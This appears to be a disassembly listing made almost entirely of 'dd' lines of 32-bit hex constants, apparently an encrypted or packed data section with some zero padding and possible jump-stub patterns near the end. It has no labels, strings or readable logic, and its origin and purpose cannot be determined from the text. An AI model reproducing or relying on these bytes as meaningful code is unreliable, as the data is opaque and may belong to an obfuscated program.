		dd 1F7E7B97h, 0E3A29B3Fh, 0F712D3E6h, 4BA29B3Fh, 5E3955D0h
		dd 0AA85A162h, 0F375EFACh, 0C5D47FA2h, 46422D26h, 37B26985h
		dd 0E51364E2h, 0B603BD12h, 0E114h, 0B9B6A600h, 0B03DEFAh
		dd 4E4B2642h, 35B06D6Bh, 82413E19h, 624FF3BEh, 0B1BE6EB7h
		dd 8CE19EF3h, 5C5B6984h, 61E9775Fh, 9E7169F5h, 0C7C45F23h
		dd 42E1EC08h, 9D645D4Ah, 0FA4F0622h, 0F5C4FD3Bh, 773D2C34h
		dd 7728CC61h, 41F8331h,	0C13CFF54h, 0A3FA3EFDh,	0C0CBE7A6h
		dd 9B3398FFh, 42BD38A2h, 6059F8C7h, 71C67D99h, 0DB0AE5A6h
		dd 17B69888h, 863D591Ch, 0AC27EEE7h, 7D463EDDh,	5D261EB9h
		dd 86FB2B07h, 931D7922h, 1377h,	682CF7EEh, 4C10D1CDh, 2FF3B6B1h
		dd 11D59A94h, 0F1B57E76h, 0EFE71EC6h, 0CEC76226h, 0AAA84307h
		dd 918E29EDh, 0F7C20ED2h, 7DB3D336h, 58066F5Dh,	1BCCBEB6h
		dd 80F927CEh, 0B0FE19DAh, 0D7525B69h, 0FFC2BD5Ch, 0EDB12CE3h
		dd 0C7965552h, 57D34B23h, 0F2479612h, 0A692C432h, 0B1AD4C1Bh
		dd 7E1DD4F0h, 0F0A7C380h, 490FD09Bh, 876177BFh,	0D05EEE8h
		dd 0F6712844h, 23625F7Bh, 0BBA29840h, 7D7AA8F9h, 0A9B6045Ch
		dd 0BCh, 0FAB9B63Bh, 219D872Bh,	4FF3B0AEh, 87B3A0A7h, 0F0E39323h
		dd 30489D18h, 0C5945D55h, 4F6B2826h, 2E2B4398h,	5B69C5C1h
		dd 29EDACA9h, 0B6D2918Eh, 714081B7h, 77A690B0h,	11D55061h
		dd 0CDBE652h, 0FD1D7C3Dh, 3AB5A29Bh, 85591AE5h,	3B988818h
		dd 5A52F1C0h, 3A32CD91h, 738F524Dh, 35EB41BCh, 53228687h
		dd 12856DF7h, 0E9E00000h, 0C3BF5A1Eh, 0A8A33E02h, 8C8621E5h
		dd 706803C7h, 0CB8E3A7h, 5418E1D9h, 35F9C0B9h, 1BDF9C9Ah
		dd 0C48380h, 0E128E9B4h, 615D7DB4h, 0BEB64AF8h,	71C760CCh
		dd 1C12B673h, 12D6515Bh, 50B77847h, 0F05B696Ah,	88852075h
		dd 605BFAC9h, 1A88489Dh, 29ECE786h, 7D3C39D4h, 0C6875661h
		dd 5B69B043h, 506C2927h, 0B357D299h, 19EA59DEh,	5EF94E9Ch
		dd 13DEA261h, 0E9A8A544h, 325516CDh, 865B69ABh,	69AB42C5h
		dd 0BC83FE5Bh, 5651EC41h, 9F9C7793h, 39A71CE0h,	39FCF796h
		dd 5211661Dh, 3D0CDBE6h, 69AB1D7Ch, 0E53AB55Bh,	0C44B591Ah
		dd 0A856177h, 0A107471h, 84B4AB02h, 0D4CF6E3Dh,	0B22DF4EDh
		dd 24C3925Dh, 954C6827h, 6B98340h, 98676310h, 301DB0D7h
		dd 1A9510A7h, 3439FFFEh, 0E3EFD790h, 5C65D91h, 0A7306C82h
		dd 8AA66D66h, 16910CD3h, 0DFD97847h, 1108C51Ah,	0D19D22C3h
		dd 0F32AE72Dh, 9510DCDBh, 5C58F7C6h, 0AEAB469Bh, 0C1602BEFh
		dd 2DE400C9h, 81403DD8h, 2F7CFB2Bh, 0A32D8927h,	115Fh
		dd 80440F06h, 6428E9E5h, 470BCEC9h, 29EDB2ACh, 9CD968Eh
		dd 7FF66DEh, 0E6DF7A3Eh, 0C2C05B1Fh, 0A9A64105h, 0FDA26EAh
		dd 7DB5CB4Eh, 701E875Dh, 0DEFAB9B6h, 996859DFh,	0D872CCF5h
		dd 4BEA37B5h, 0BD74904Dh, 58DC9D68h, 7861770Ah,	0BE7A39FDh
		dd 0B200A6DAh, 411013DBh, 9B231980h, 0C33EB9A2h, 8D8625F4h
		dd 9EF3AAC6h, 85725BE1h, 0EDAE7D98h, 0A88DD1AAh, 0C78E554Eh
		dd 0B934F74Ch, 0D17DA09Dh, 37F9A88Dh, 0EB3FB8E6h, 47E7BC11h
		dd 79000000h, 0FCF7A692h, 0EB661D39h, 0FE095B1Ch, 0F0BF6177h
		dd 9802E82Fh, 98ED68A2h, 0EC8B5AD5h, 0B06D31EEh, 0A298026Bh
		dd 88571613h, 0D328F1E9h, 0BD7A7813h, 94514FEEh, 6DAC6D78h
		dd 0E5A29802h, 829AEF6Ah, 108AF8h, 0A6928600h, 1F8B4C1Bh
		dd 0D5617DB1h, 1DBC8B5Ah, 710C6120h, 47E6B574h,	7131864Fh
		dd 0FE1AD9D6h, 0B98839FFh, 964FDDF8h, 0A372ED98h, 9C9B90FFh
		dd 948FA77Eh, 83FEB5D1h, 0C7C4632Eh, 9C9A3908h,	0FFCA8ADFh
		dd 50A56260h, 0DDF9B8B5h, 98675ADEh, 0A0F9D9D7h, 166CE792h
		dd 3CAFD7F6h, 28840E6Ah, 3D000010h, 1CB77B46h, 9B5F20h
		dd 0E37E4205h, 0C56024E9h, 154004CDh, 753E36AFh, 561D16B1h
		dd 3CF9F792h, 21E0DD78h, 8546115Dh, 5D7DB602h, 94A755BEh
		dd 5B69B071h, 6C2F2AC9h, 85449950h, 9EF9BAB3h, 325B69B0h
		dd 0AC6D3CB7h, 617DB0D9h, 0B04F1E99h, 8625F4B3h, 0E2A9A28Dh
		dd 3F940FC6h, 28E7E47Fh, 7132010Ch, 0A285B016h,	9F602FAAh
		dd 0A285B078h, 49085DD8h, 0EEB5AEEFh, 0F4C7F2D2h, 0A3BC6ED3h
		dd 1DDEAD28h, 989B861Fh, 0D2E83EB9h, 3222B90Eh,	0F914CD6h
		dd 0DDD40000h, 0B7B34E12h, 9C9732F6h, 807A15D9h, 645CF7BBh
		dd 38ACD79Bh, 480CD5CDh, 29EDB4ADh, 0FD3908Eh, 0F4B87774h
		dd 0FD1CDDA8h, 555D7DB7h, 0B9B63EECh, 4615DED6h, 69B00285h
		dd 0C843BE5Bh, 15D4D1ACh, 0EE8D98F9h, 37122EF5h, 0A75E7A3Bh
		dd 859D72Ch, 0F6481DDAh, 95A09AFh, 869B0000h, 0D227EEE7h
		dd 0CD9C2513h, 7DB0340Ch, 0A271EC61h, 83470603h, 102CEBE8h
		dd 0AB686605h, 0C683D88Fh, 0A285B047h, 0C1903107h, 9BBD7C00h
		dd 0B1F09498h, 6A24BDBBh, 7F437330h, 32AD5D78h,	4C761ADDh
		dd 696458A2h, 3EB97875h, 35CE299Ah, 0FD789443h,	0BA3399A7h
		dd 18BE722h, 0ED7h, 8CC978Eh, 0ECB0716Dh, 0CF935651h, 0B1753A34h
		dd 91551E16h, 8F87FE66h, 6E6702C6h, 4A48E3A7h, 312EC98Dh
		dd 9762AE72h, 7DB7B3D6h, 0F8A60F5Dh, 2CE9E786h,	69045910h
		dd 8691AD6Ch, 8928EDE7h, 0DC77CC8Dh, 0A30420DFh, 916694E5h
		dd 95AFF648h, 8A8h, 0B0719427h,	63D55B69h, 0B2CE8F5Eh
		dd 6E617DB0h, 888524F3h, 0CAE6ABA5h, 25C99813h,	0AFAF50A3h
		dd 5563BB0Ah, 7B03466Fh, 50EBAB00h, 79789453h, 943302BFh
		dd 3BAD699h, 0CED8C25Fh, 4196A361h, 9FB7B576h, 0D651989Ch
		dd 0BA347E80h, 0D05AB622h, 0E2Fh, 0B0743F36h, 94581915h
		dd 773BFEF9h, 591DE2DCh, 39FDC6BEh, 372F560Eh, 160FAA6Eh
		dd 0F2F08B4Fh, 0D9D67135h, 3F0A561Ah, 7DB81B7Eh, 0A04EB75Dh
		dd 0C33AE286h, 41A53046h, 0B50A8544h, 425E1D1Ah, 0DCAB6A67h
		dd 615B423Dh, 4EC9809Ch, 0D06E1F9h, 574F2A46h, 3ABC728Eh
		dd 0E3A1C6E9h, 24936492h, 0ED93AFF6h, 25000007h, 4C1BA692h
		dd 99EEB3ADh, 6260FFCEh, 0A69350A5h, 1E617DB0h,	3835D4A3h
		dd 79955C55h, 0D97847C2h, 9C91EDBh, 96B2716Eh, 824F7A99h
		dd 3F5EDAA2h, 0A2635F42h, 0D9540B27h, 422B490Ah
		dd 16E5989Ch, 0B4423255h, 98138EA8h, 0BAD23242h, 88126E22h
		dd 0D73h, 6C30FBF2h, 5014D5D1h,	33F7BAB5h, 15D99E98h, 0F5B9827Ah
		dd 0F3EB1ACAh, 0D2CB662Ah, 0AEAC470Bh, 95922DF1h, 0FBC612D6h
		dd 7DB9DF3Ah, 5C0A735Dh, 18D1B9B6h, 350F2446h, 0D2ADC944h
		dd 99FA16D5h, 9B5C8ADBh, 8BAFF594h, 74Ch, 0E930F1C0h, 695B691Ch
		dd 862B99EEh, 0B27EEE7h, 0C642FF54h, 725B69B0h,	0B0A7E2A3h
		dd 46435B69h, 0A645C087h, 0D493E8ABh, 0CD8E5D64h, 617DB0BDh
		dd 0ACEBAC7Bh, 24A2824Fh, 4F759455h, 52CDA282h,	0EE8D5CD7h
		dd 0D36E32F1h, 0FCFB17D6h, 2970313Ch, 0A9A2824Fh, 23E4B32Eh
		dd 989C3231h, 4FDD03A7h, 7F9AFDBEh, 0BB36A8B4h,	25C7F017h
		dd 7D3E0DD0h, 0A8B4F71Ah, 5C23E0DEh, 0E2FEC3BDh, 0DF35B02Bh
		dd 22BA67E3h, 9C1BA501h, 0C900000Ch, 0A84307D2h, 8C27EBACh
		dd 6F0ACE91h, 51ECB075h, 0A1CC9059h, 1CAC223h, 0E2A9A23Dh
		dd 0C885831Eh, 0AD6C6904h, 11D29DE9h, 5D7DBAF6h, 0B633E14Ah
		dd 3DEFAB9h, 362B4706h,	232067B8h, 0D91EA064h, 4DAFF64Bh
		dd 163h, 0EFE786DFh, 3936D126h,	0B0226526h, 0CF9E5B69h
		dd 69B08B0Eh, 51CC475Bh, 0E2DFBAD6h, 0F5945F23h, 561914F9h
		dd 71C786DBh, 3CC08150h, 0DC6177BEh, 6B3A4561h,	98426FAAh
		dd 5314E3A2h, 0A2984234h, 4196118Ch, 98410184h,	2ACEDDA2h
		dd 35B9A3ADh, 0D1CB6A5Bh, 0E839B70Ch, 46E3DBAh,	44E9B6h
		dd 867B0000h, 0BA6FAEE2h, 79C5AEB9h, 1DE38501h,	89489D18h
		dd 824312AFh, 617722C6h, 66637FFAh, 0A29B3D27h,	7EACFDBFh
		dd 0B603BF79h, 74E60AAEh, 448306C7h, 0C43FA29Bh, 3F6E2E20h
		dd 0B0058045h, 0A7E4h, 0B9B67600h, 0B03DEFAh, 0DCD47342h
		dd 0CBA6BE13h, 6B5AE6CEh, 0D75EA266h, 6865405Ch, 0FB28E5A9h
		dd 935B6901h, 5413D796h, 4D0EDDE4h, 617AE7F7h, 0C86736B1h
		dd 784307D0h, 0F8F6DFD9h, 0ED681F3Bh, 35FEF6D1h, 18E76219h
		dd 99BC3057h, 0C01590A2h, 0E642D25h, 28972CCAh,	5040CA26h
		dd 1500000Bh, 0F48F531Eh, 0D87337F8h, 0BB561ADDh, 9D38FCC1h
		dd 0ED18DCA5h, 4D160E77h, 2EF5EE89h, 14D1CF6Ah,	0F9B8B550h
		dd 5D1EE935h, 5D7DBB3Ah, 0B67F2D96h, 16D3D1BEh,	6D0CD79Bh
		dd 1EDFAE73h, 5B69B0FBh, 0EC87DC57h, 0FE6C30EFh, 0DEFAB9B6h
		dd 78470603h, 8E9982D4h, 64B93F84h, 5165AA4h, 92E80000h
		dd 0C45BF2A6h, 8EA65967h, 71834413h, 0AF61779Ah, 0CEC66534h
		dd 12753605h, 0AEA29BA6h, 0C9C6DE33h, 0A29BA64Ah, 79741322h
		dd 8EE39AB6h, 6691BF10h, 0C1B60436h, 0C8FCBC1Dh, 0B005AED0h
		dd 247E4h, 0E7867600h, 15D227EEh, 5B69B0FDh, 9D8E94Fh
		dd 2F762365h, 9BF099BBh, 0A9790FD0h, 0E0AF617Dh, 85A9F81Fh
		dd 0C88958A2h, 0A285A941h, 6C0B8601h, 0DC93AF70h, 7A49C487h
		dd 5B1FDEDBh, 0D703EC90h, 0EB32B60Fh, 3FFEFB96h, 0F2D3D170h
		dd 61B631FAh, 0D3EE4A49h, 7F114304h, 0CF989Bh, 0B725D83Fh
		dd 82FD78A8h, 0B9B52A2Ch, 54DE3A22h, 0A3Fh, 0A0642F26h
		dd 84480905h, 672BEEE9h, 490DD2CCh, 29EDB6AEh, 271F46FEh
		dd 6FF9A5Eh, 0E2E07B3Fh, 0C9C66125h, 2FFA460Ah,	7DBC2B6Eh
		dd 903EA75Dh, 0DEFAB9B6h, 78470603h, 0FE1ADFD9h, 0E5DAF247h
		dd 0D2CF1667h, 2ACD4F13h, 0FCAFF64Ch, 188h, 0FAB9B68Eh
		dd 230603DEh, 91486429h, 0B08601C2h, 0BF3A5B69h, 0E5A67544h
		dd 5B69B0A2h, 8E4EA31Eh, 895869CFh, 77BE24C8h, 4D69E461h
		dd 9842CD50h, 0F6BBB5A2h, 4104FFDAh, 0BA0BC925h, 0D92AEC97h
		dd 4564CABh, 52DAB6h, 700F0000h, 1916B572h, 9297055Ah
		dd 0A84C1BA6h, 99547F48h, 0AE79CEDAh, 77E66BEDh, 1DC16561h
		dd 51F92998h, 45E4B32Eh, 8D6D8948h, 0F4CFEEC3h,	59AE2902h
		dd 32C14441h, 8E9DA29Bh, 0D92EF7EFh, 1BDC0A5Bh,	0BB603CAh
		dd 0CDh, 0E5A4A140h, 4FBD12C9h,	0DEFAB9B6h, 26420B03h
		dd 706B4E4Bh, 8B977F84h, 1B962E61h, 0E49F1FFFh,	0B06E7BABh
		dd 0C39EBA35h, 864307C6h, 5B6AEE09h, 5625E4E1h,	0A6FBBAB7h
		dd 0B01127E6h, 854642E1h, 0F2966530h, 3E89DC7Dh, 0DBD47380h
		dd 0BA02BF14h, 66617AA9h, 857D1CEBh, 655DF8BCh,	7976469Ch
		dd 0EE4A2897h, 8F264h, 0B17C7300h, 955652EDh, 783B36D1h
		dd 5A1F19B4h, 3A03FB96h, 6C994B76h, 4CE7AB74h, 2DC88C53h
		dd 13AE722Fh, 47935716h, 0BD5CBB7Ch, 8BF45D7Dh,	0F5BEB6DDh
		dd 0C7885726h, 5B69B040h, 45C48500h, 0FD5B69B0h, 0B02A6D2Eh
		dd 2BA65B69h, 0F920E1B0h, 595B69B0h, 0FEC989DEh, 0DC55D05Ah
		dd 5AAF4D7Ah, 3F03C2BFh, 0EFE786D1h, 2B470402h,	9A4F974h
		dd 26314D0Ch, 0B0739657h, 54CF5B69h, 0DCF8B9B5h, 3835D025h
		dd 8D6BB579h, 0F9000002h, 66F2A692h, 31797233h,	2A06F585h
		dd 2BA9F686h, 0EE20E1B0h, 6E617D98h, 945524F3h,	0A2859875h
		dd 72312ECDh, 85249F56h, 5D75CA87h, 85983D60h, 9C8C5A2h
		dd 561512EDh, 0E7E4833Ah, 0C2400C28h, 7C962571h, 0EA9EB5A2h
		dd 0B102C46Fh, 0A2E7483h, 1E7B2B6h, 94440000h, 5B69B07Ah
		dd 88576ACEh, 7DB16FC7h, 0D3A21D61h, 0B4783734h, 415D1C19h
		dd 0FCCBF642h, 9C32093Bh, 0F64CC798h, 22BAC2B0h, 0E00A94F0h
		dd 85000007h, 64FFC38Eh, 48E3A768h, 2BC68A4Dh, 0DA86C31h
		dd 5D884C15h, 0BD867EE7h, 9E655EF9h, 84413FDAh,	692825C0h
		dd 0CD8E59A5h, 5D7DBE4Ah, 0B6EF9D06h, 8C2BFAB9h, 0FAB1CD92h
		dd 22781656h, 0A0F5C3C0h, 0F1B0AD88h, 1162E0D5h, 4A0ECDCAh
		dd 0F6092FC8h, 15FF7AFh, 0B6890000h, 8C2BFAB9h,	5E76CB94h
		dd 44C38453h, 0FC5B69B0h, 94912C81h, 696706D5h,	0D89757ACh
		dd 0D1926160h, 6177BED3h, 8A4946E5h, 0D52AF3EBh, 24C89712h
		dd 2927DC16h, 0D867C86Ch, 9CB87F78h, 0FD156AE5h, 985553F2h
		dd 0B370C57Ch, 0A298E750h, 82F94A0Ch, 824E9E3h,	0FAA8EE28h
		dd 0B53059FBh, 6F19DE60h, 3D0DB604h, 9F000000h,	9DF2A692h
		dd 8858A9D2h, 8243128Dh, 6177B8C6h, 276223F2h, 9BA29847h
		dd 8D08CB20h, 47117471h, 0DCD9A298h, 2926011Dh,	0F6B84E6Ah
		dd 15D782A5h, 556196C4h, 0A0C5B604h, 57000000h,	0DEFAB9B6h
		dd 26420B03h, 0BE21771Bh, 2200ED2Dh, 763532CDh,	9F827F5Ah
		dd 11C8E4A1h, 8815D296h, 605B6AAAh, 21E0A463h, 1ADBAA17h
		dd 617A50C2h, 0F584D276h, 1FCEEA90h, 0BD8C07CAh, 995D261Eh
		dd 338C2ACEh, 2BAFF698h, 0DD94D187h, 196E5F39h,	0EC94867Eh
		dd 0BC65F82Ch, 0EFC91F9Ah, 0B928881Bh, 67DD35Dh, 0F1E80000h
		dd 0CBC76226h, 0B0AB460Ah, 948E29EDh, 78700BCFh, 4C0EBAFh
		dd 5C20E9E1h, 3D01C8C1h, 23E7A4A2h, 8CC8B88h, 0E930F1BCh
		dd 695D7DA0h, 0BEB65200h, 999631F5h, 86A816DAh,	604EDE7h
		dd 0FB762D49h, 38D328DFh, 85607C3Bh, 0BB05C988h, 50h, 0ECE78649h
		dd 37320D29h, 9A4F974h,	0DA7E4D0Ch, 1A24FD18h, 19EA2666h
		dd 1A5F7B1Fh, 34FDF594h, 0F40C6118h, 8B504AE9h,	28E9B86Fh
		dd 5B6929E1h, 0F691E661h, 0CC6B3AF9h, 2DEEEAD1h, 0C3DF5A11h
		dd 99FB70Ch, 0B2AFF647h, 3EE52FF3h, 73000000h, 2CE9E786h
		dd 803F3CD7h, 0C98A5964h, 5B69B04Eh, 75328702h,	5B69B017h
		dd 0FF1BDED9h, 4A662924h, 2AA1F2B4h, 69B02E69h,	0AC27A25Bh
		dd 2D74C583h, 0FEA27130h, 8D31D225h, 0AD6DC2F8h, 0F6B7863Fh
		dd 5B69B093h, 0C45FB42Fh, 9A3908C7h, 728ADF9Ch
		dd 0B0D79867h, 105B69B0h, 0B7814095h, 9D6C3B0Ah, 69B0BDDCh
		dd 459A155Bh, 7DB11288h, 8857D261h, 76786AE4h, 0E1362901h
		dd 0D9784716h, 3E591ADFh, 92A28218h, 2A27C217h,	0F0CA76Bh
		dd 3353450h, 0C3DF9C9Ah, 0B1706D0Ch, 9463DE95h,	188504C5h
		dd 6460A282h, 5935709Ch, 804A36Ah, 0AC77CC47h, 9668E0EBh
		dd 9665E098h, 2712FAF7h, 141F339Ch, 7A15D954h, 97A2BE7Dh
		dd 1914FFF8h, 8833A56h,	7D44F4B3h, 4CC3EDAEh, 82FD92A0h
		dd 0AE44722Ch, 2CB6123Ch, 4F3h,	0ECB07B72h, 0D0945551h
		dd 0B3773A35h, 95591E18h, 753902FAh, 736B9A4Ah,	524BE6AAh
		dd 2E2CC78Bh, 1512AD71h, 7B469256h, 7DA15FBAh, 0DC8AF35Dh
		dd 2AEBE786h, 6702570Eh, 38DCAB6Ah, 0F4AB63Eh, 2FEF4402h
		dd 0BCB49794h, 515C78F3h, 0A1F6B5B2h, 0F6210906h, 4B0A0725h
		dd 0D5D4782Fh, 738F0A42h, 38AF007Eh, 0B9B69F99h, 8F2A7FFAh
		dd 8D0FD392h, 0AFF58A6Ah, 51BCh, 0B7864E00h, 0B0E027E8h
		dd 0E5605B69h, 69B0E524h, 8DE25D5Bh, 88576ACEh,	77FE75C7h
		dd 0E9B83361h, 0CB8F4C4Ah, 29703100h, 0A9A29802h, 0FF1CD92Eh
		dd 7FA29802h, 64FFC382h, 0CA878566h, 7491CEAEh,	8C75579Dh
		dd 0F07A9611h, 42Fh, 0C4878221h, 0B9B6016Fh, 948C2BFAh
		dd 835E76CBh, 4403C786h, 3DFECDF4h, 6177BEBFh, 0C5C2DE59h
		dd 0A2984246h, 516D2E2Ah, 9CB87B76h, 0E318240h,	0D950A163h
		dd 42CE490Ah, 782A298h,	55C730B2h, 275FB604h, 0F1000000h
		dd 4C1BA692h, 77BFCD8Bh, 6C880361h, 98402C6Fh, 1AB9C8A2h
		dd 883F5B20h, 3664B533h, 0B6045BC1h, 10465h, 0B9B6F700h
		dd 0B03DEFAh, 4E4B2642h, 0B01F7A3Bh, 38B35B69h,	0C9C6A1BDh
		dd 0A49C3B0Ah, 0CC4B0CDBh, 845B69B0h, 37F4B409h, 5B69B5FAh
		dd 27F6B5B2h, 0BBBEAF83h, 95AE78A2h, 7126CA94h,	997D7D66h
		dd 0C71D9289h, 9C37F74Ch, 7211E09Fh, 0D2918E79h, 0CCA0B357h
		dd 382603ACh, 6CCCCBE3h, 0FB763331h, 0C0B95D2Ch, 0CC7ACC3Fh
		dd 0BB9D5AAFh, 0D9E888Eh, 142C0869h, 0AE7D6748h, 9856AAEDh
		dd 56AB26A2h, 95541893h, 8E09CAA3h, 42A29856h, 0DE7D4CC7h
		dd 3A03FBE4h, 0DE9F6ABFh, 988BBF88h, 0EEABA948h, 0D05A473h
		dd 0D7A67544h, 888DF316h, 13D44FA8h, 0A8888DF4h, 0BC7CD14Ch
		dd 0A602921h, 22861D9Ah, 0FC008AE6h, 69000002h,	48E3A772h
		dd 2CC78B4Ch, 0FAA6E31h, 0F18C5015h, 416C30F9h,	0A16A6283h
		dd 824942DDh, 682523BEh, 4D0C09A4h, 0B1723D89h,	5D7DA356h
		dd 0B6D381EAh, 10D9D1BEh, 0FEC23DF4h, 0E3A76663h, 1BA69275h
		dd 0CCB1AD4Ch, 419611CEh, 0BF93B576h, 56256177h, 98407295h
		dd 0FE53CEA2h, 0B4A29C3Bh, 8E600DAh, 47C23D62h,	51EF2E2Bh
		dd 9693A298h, 0E5E0BBD7h, 0BC3A0622h, 0DB9D486Bh, 7774138Ah
		dd 90E59CB8h, 46AE90Eh,	0CE3DB6h, 86CF0000h, 0B093F6B7h
		dd 0B42F5B69h, 0DFC7C45Fh, 10446838h, 0CBA145A9h, 3098D74Ch
		dd 5B3652CDh, 817E9A63h, 5B691A2Ch, 7C40FFFCh, 5A7A0DB1h
		dd 0CDA49886h, 21E0DD78h, 8F320605h, 6122F1C0h,	5B699326h
		dd 0DCA1F9Ah, 6177E64Bh, 92F5B685h, 2EA29BBDh, 53CE978Fh
		dd 0E35514D8h, 5B4E0FDEh, 17988858h, 332ECD9Ch,	0CE66C247h
		dd 38B3CB7Eh, 0ECC1651Ch, 4AC0F86Fh, 6D5A0F5h, 58D04C62h
		dd 92E79BB2h, 7236FFF7h, 0C016DFD7h, 22863BD2h,	0DCAC3692h
		dd 89000001h, 6803C792h, 4CE7AB6Ch, 2FCA8E51h, 11AC7035h
		dd 618C5019h, 0C18A82E3h, 0A26962FDh, 884543DEh, 6D2C29C4h
		dd 0D1925DA9h, 5D7DA4B6h, 0B6F3A10Ah, 9631F5BEh, 0A816DA99h
		dd 0DEFAB9B6h, 32F30603h, 5B69B0D7h, 0EFBFC76Bh, 1FE7EACBh
		dd 0CA6529A4h, 0E7F20ECDh, 708C4B48h, 93A564B9h, 0EE9E5F2Eh
		dd 62617783h, 82B7D293h, 900BA29Bh, 0E1FD783Bh,	2F76C785h
		dd 5A47332h, 32F2470Ah,	2DFCC573h, 85E7686Ch, 0D1ED6898h
		dd 47E6F9F6h, 4EC98A4Bh, 2A88DBCh, 993D0C87h, 93D384C7h
		dd 270D9F4Bh, 58BF9E42h, 0AC879FF4h, 0F9D4F0AFh, 411C3801h
		dd 72F08049h, 0E2A4FE21h, 0AF122691h, 0DBD1FE0h, 0A01B9293h
		dd 854441DCh, 0AF908E69h, 5C78F3B2h, 5B56F500h,	0B4AFF6Fh
		dd 971240DDh, 708007C8h, 0C540B6BFh, 5AA1F270h,	1BDA9E5Dh
		dd 6D5A41Dh, 0BF70C245h, 0EAA9A6B6h, 815017CEh,	0BF7059C0h
		dd 37EF9B6h, 7222E3AEh,	0EE8CA124h, 7F7C5773h, 734DF1C0h
		dd 749354C1h, 0CCBCA1F0h, 82F1AD51h, 5DB9D126h,	55E34E9Fh
		dd 28DC9D6Ch, 0A886BFE6h, 0FA9E692Dh, 352A711Eh, 56156AE0h
		dd 4FCA8BE2h, 3BAD0EFh,	9F3E0D88h, 0FEC3BDA4h, 938C6783h
		dd 7EF9B0CCh, 0C08F5E29h, 0D0EF98FFh, 68BD38BAh, 0C4EF2CABh
		dd 0D29A480h, 0B2763532h, 8C5B1A17h, 71E765E8h,	0B155C020h
		dd 32CCD20h, 0CBE33876h, 0C7D2F7CEh, 0D5E207Bh,	460AC9C6h
		dd 0D3EFAEABh, 1D39FEF8h, 6BB203C1h, 0B8E1866Eh, 0F3E7E2EDh
		dd 601733FAh, 0CC9B6AE5h, 0D7DD3CFDh, 0FA75CDC4h, 0C4D7DE39h
		dd 0A2F772CDh, 674A47E2h, 0AF8AA66Fh, 21D8F4B1h, 850F2BA6h
		dd 0Fh,	85243313h, 2B20C48Dh, 82A237E3h, 0B61482D7h, 0FDD8F4BFh
		dd 4A254100h, 98738F4Ch, 0E1BCD89Fh, 290420E9h,	714C6831h
		dd 0BB96B277h, 6E1FDC0h, 692D490Ah, 81E38953h, 4C3h, 4EB8100h
		dd 87000000h, 895C241Ch, 0B668241Ch, 89000055h,	0B68241Ch
		dd 89000062h, 5357243Ch, 1401D6BBh, 5BDF8906h, 685FFB89h
		dd 5950h, 81242489h, 42404h, 815F0000h,	4ECh, 241C8900h
		dd 8B08478Fh, 8950243Ch, 405E0h, 0C0830000h, 24048704h
		dd 241C8B5Ch, 81E18951h, 4C1h, 4C18300h, 5C240C87h, 0FA6753E9h
		dd 9D9042FFh, 0D4B8E9EEh, 3061416h, 0ABE0FFC5h,	6B2A2E57h
		dd 7C27E431h, 37580FE6h, 6B26481Ah, 88036915h, 1B11EC12h
		dd 383920CAh, 2A412492h, 0FA2501CBh, 0A428148Dh, 0F50C9143h
		dd 0DC13A150h, 34108B24h, 0B2293279h, 941AAE7h,	0F75D5C06h
		dd 4186343h, 927522BAh,	26443357h, 26517589h, 0F209A1CDh
		dd 3B577819h, 976E85F4h, 0BD6ED99Dh, 0C865F623h, 0A40E4198h
		dd 43729B35h, 843D35E6h, 8832D2A6h, 0E9244ACDh,	39h, 54A93F87h
		dd 2430000h, 0Ch dup(0)
		dd 0BEEE900h, 0D8680000h, 0E9061419h, 0FFFB3398h, 141ADC68h
		dd 338EE906h, 3568FFFBh, 0E906141Ch, 0FFFB3384h, 141CE468h
		dd 337AE906h, 8868FFFBh, 0E906141Dh, 0FFFB3370h, 141F8A68h
		dd 3366E906h, 2268FFFBh, 0E9061420h, 0FFFB335Ch, 14217668h
		dd 3352E906h, 8068FFFBh, 0E9061422h, 0FFFB3348h, 0EE4F5B72h
		dd 0D435435Fh, 0BE1F2D45h, 0AA0B192Fh, 95F6021Bh, 51E2EB0h
		dd 0EF0998F9h, 0D6F180E1h, 0BDDA69CAh, 154250B1h, 640E6836h
		dd 5CA8718Fh, 717F9928h, 1A4F6CFFh, 2AF402h, 5C79CC96h
		dd 70031127h, 7FE04A58h, 606C8716h, 0A3DE13EEh,	34645736h
		dd 86AF9B86h, 18603E1Dh, 53798F6Ah, 6A182E70h, 1B85AB8Fh
		dd 18ECAE51h, 5B218F6Ah, 0C19106DBh, 49B33918h,	63000000h
		dd 0E14E85BAh, 7528820Bh, 41B33F50h, 0F26AF5D4h, 0BE4D9B85h
		dd 5B2496A4h, 19E3EF0Ch, 18BB85EFh, 8F69D282h, 0B7D3628Bh
		dd 92D37A9h, 190B63D8h,	1018539h, 82580000h, 0DEBDAD6Dh
		dd 8F6940C0h, 8419F319h, 0A535A701h, 0BEE0BF28h, 1B957826h
		dd 0D3F083F5h, 91AAFDC7h, 258EBB85h, 78265846h,	79588195h
		dd 95782625h, 91248EB4h, 62F56775h, 1C6F3945h, 1D86F3FFh
		dd 7826603Eh, 0E1537995h, 6F881780h, 0FD6F9963h, 782B4D1Ah
		dd 0BB375495h, 19B76748h, 35960048h, 0B37D89A6h, 79402318h
		dd 8866604Dh, 6707E9Ah,	84A02F9Ch, 5F29374Dh, 0D701CB35h
		dd 56202E44h, 6E4DBA2Ch, 9B85B4C9h, 4856359Eh, 918F6979h
		dd 0A30F96Bh, 669DD2A9h, 21EC1AF9h, 97BD957Ah, 76829B2Ah
		dd 616D8615h, 0E4E0B88Bh, 7ACE94B2h, 98Ch, 56B7C3DAh, 3C9DABC7h
		dd 268795ADh, 12738197h, 0FD5E6A83h, 6D869618h,	57710061h
		dd 3E59E849h, 2542D132h, 7DAAB819h, 640E009Eh, 0C410D98Fh
		dd 630F5228h, 88CC25F2h, 5E6A8316h, 12931BF1h, 0E79E7E06h
		dd 68851475h, 0BA6FFB5Ch, 2E14E85h, 9B86365Dh, 6B0ED8FEh
		dd 8F6A162Fh, 0C31E18DEh, 3918C74Eh, 0DD72h, 0E5022200h
		dd 1E8896B0h, 13BBDBB1h, 5B27CAEEh, 0DAA4B2C8h,	47743EB0h
		dd 5B03271h, 0FE708C25h, 6443526Bh, 95779D3Ah, 2935509Fh
		dd 61CB355Fh, 0A273F497h, 112E9577h, 4CB6C4DCh,	0ABAC82EBh
		dd 0FF2FFEC2h, 7895289Ah, 0D207A26Ch, 3AC9329Fh, 0C1A41624h
		dd 9B864076h, 370E6F95h, 8C62CF02h, 53BDC0ECh, 0D744B608h
		dd 7826056Eh, 978F6A18h, 7DA7717Fh, 414F65B4h, 738265D7h
		dd 14957ABDh, 0D9F281EEh, 74036CCDh, 58824C5Ah,	2E3A53E6h
